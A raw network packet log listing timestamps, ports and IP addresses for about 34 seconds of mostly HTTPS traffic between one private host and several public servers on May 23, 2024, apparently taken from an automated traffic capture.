May 23, 2024 10:31:38.545767069 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.546442032 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.548947096 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.549010038 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.559818983 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.559895039 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.561527014 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.561608076 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.562325001 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.562391043 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.562398911 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.562417984 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.562499046 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.563090086 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.563385010 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.563402891 CEST	443	49808	104.21.52.56	192.168.2.4
May 23, 2024 10:31:38.563431978 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.563831091 CEST	49808	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:38.568680048 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.573503971 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.573549986 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.574182034 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.574585915 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.574601889 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.685722113 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.686636925 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.686659098 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.686971903 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.687505007 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.687558889 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.687947989 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.730519056 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:38.740607023 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.818686008 CEST	49812	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:38.818701029 CEST	443	49812	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.062992096 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.064930916 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.064960003 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.065443039 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.066059113 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.066059113 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.066076994 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.066140890 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.106506109 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.108189106 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.108499050 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.109111071 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.109141111 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.109253883 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.109253883 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.109285116 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.111274958 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.111447096 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.111455917 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.112082958 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.112238884 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.112246990 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.112911940 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.113085032 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.113092899 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.153831005 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.258224010 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.258292913 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.258467913 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.258490086 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.258666992 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.259390116 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.259396076 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.260643959 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.260664940 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.260796070 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.260799885 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.261049032 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.263111115 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.293190002 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.294636011 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.294734001 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.294795036 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.294804096 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.296083927 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.296277046 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.296283007 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.297636032 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.297729969 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.297805071 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.298588037 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.298619032 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.298624992 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.298840046 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.299453974 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.304107904 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.304114103 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.304594994 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.304641008 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.304675102 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.304682016 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.306062937 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.306092024 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.306098938 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.306304932 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.306334972 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.306340933 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.308391094 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.313191891 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.333199978 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.333355904 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.338325977 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.338332891 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.338422060 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.361666918 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.361673117 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.365798950 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.365895033 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.365902901 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.371170044 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.373126030 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.373133898 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.423104048 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.436470032 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.437789917 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.437849998 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.437861919 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.438849926 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.438899040 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.438904047 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.439343929 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.439394951 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.439399004 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.440409899 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.440457106 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.440463066 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.441481113 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.441533089 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.441538095 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.441720009 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.441776037 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.451287031 CEST	49814	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.451299906 CEST	443	49814	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.483273983 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.484191895 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.484244108 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.484253883 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.488198996 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.488250971 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.488259077 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.488301039 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.488351107 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.488804102 CEST	49813	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.488809109 CEST	443	49813	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.642837048 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.643179893 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.643269062 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.643321037 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.643342018 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.643385887 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.643619061 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.645145893 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.645189047 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.645207882 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.645220041 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.645276070 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.645282030 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.687453985 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.687462091 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.721865892 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.721940994 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.721956968 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.765548944 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.799175024 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:39.799211979 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:39.799277067 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:39.799676895 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:39.799690962 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:39.825048923 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.826442003 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.826493979 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.826507092 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.826915026 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.826967001 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.826975107 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.827941895 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.827996016 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.828002930 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.828918934 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.828975916 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.828983068 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.830058098 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.830117941 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.830125093 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.831029892 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.831090927 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.831098080 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.836426020 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.836477995 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.836492062 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.837222099 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.837279081 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.837286949 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.840850115 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.840907097 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.840913057 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.890567064 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.890573978 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.902673960 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.902740955 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.902749062 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.953049898 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:39.953064919 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:39.999937057 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.017206907 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.017895937 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.017941952 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.017956972 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.017972946 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.018008947 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.018666983 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.019337893 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.019387007 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.019396067 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.020979881 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.021040916 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.021049023 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.021084070 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.021718025 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.021769047 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.023714066 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.023737907 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.023768902 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.024538040 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.024590015 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.024597883 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.024631977 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.024863958 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.024918079 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.024926901 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.025028944 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.025063038 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.025072098 CEST	443	49816	172.67.195.241	192.168.2.4
May 23, 2024 10:31:40.025082111 CEST	49816	443	192.168.2.4	172.67.195.241
May 23, 2024 10:31:40.288568974 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.288825989 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.288835049 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.289238930 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.289508104 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.289558887 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.289697886 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.334494114 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.783830881 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.783898115 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.784077883 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.784094095 CEST	443	49817	104.21.52.56	192.168.2.4
May 23, 2024 10:31:40.784123898 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.784123898 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:40.784250021 CEST	49817	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:44.043174028 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.043195009 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.043253899 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.043870926 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.043881893 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.657546043 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.657618999 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.661151886 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.661158085 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.661472082 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.668729067 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.714498043 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.886404037 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.886467934 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.886537075 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.886547089 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.886600018 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.886605024 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.886683941 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.897767067 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.897820950 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.897866964 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.897875071 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.897916079 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.897922039 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.897996902 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.901285887 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.919326067 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.919349909 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:44.919393063 CEST	49818	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:44.919399977 CEST	443	49818	20.12.23.50	192.168.2.4
May 23, 2024 10:31:49.244268894 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.244322062 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.244601965 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.244955063 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.244971991 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.725366116 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.725663900 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.725711107 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.727009058 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.727081060 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.727418900 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.727482080 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.778744936 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:49.778764009 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:31:49.825628042 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:51.765997887 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:51.766028881 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:51.766164064 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:51.766622066 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:51.766632080 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:52.342688084 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:52.364398956 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:52.364409924 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:52.364798069 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:52.365328074 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:52.365386009 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:52.366216898 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:52.410494089 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:53.027035952 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:53.027117968 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:53.027293921 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:53.027748108 CEST	49820	443	192.168.2.4	104.21.52.56
May 23, 2024 10:31:53.027755976 CEST	443	49820	104.21.52.56	192.168.2.4
May 23, 2024 10:31:58.247282982 CEST	49724	80	192.168.2.4	93.184.221.240
May 23, 2024 10:31:58.253267050 CEST	80	49724	93.184.221.240	192.168.2.4
May 23, 2024 10:31:58.253375053 CEST	49724	80	192.168.2.4	93.184.221.240
May 23, 2024 10:32:01.044850111 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:01.044883966 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.045013905 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:01.045471907 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:01.045485020 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.754825115 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.755165100 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:01.755196095 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.755491972 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.755791903 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:01.755872965 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:01.809174061 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:04.625900030 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:32:04.626079082 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:32:04.626264095 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:05.880496025 CEST	49819	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:05.880518913 CEST	443	49819	104.21.52.56	192.168.2.4
May 23, 2024 10:32:11.550504923 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:11.550532103 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:11.550641060 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:11.553106070 CEST	49823	443	192.168.2.4	104.21.52.56
May 23, 2024 10:32:11.553117990 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:11.681982040 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:11.682043076 CEST	443	49822	172.217.18.4	192.168.2.4
May 23, 2024 10:32:11.682274103 CEST	49822	443	192.168.2.4	172.217.18.4
May 23, 2024 10:32:12.062169075 CEST	443	49823	104.21.52.56	192.168.2.4
May 23, 2024 10:32:12.084278107 CEST	49823	443	192.168.2.4	104.21.52.56
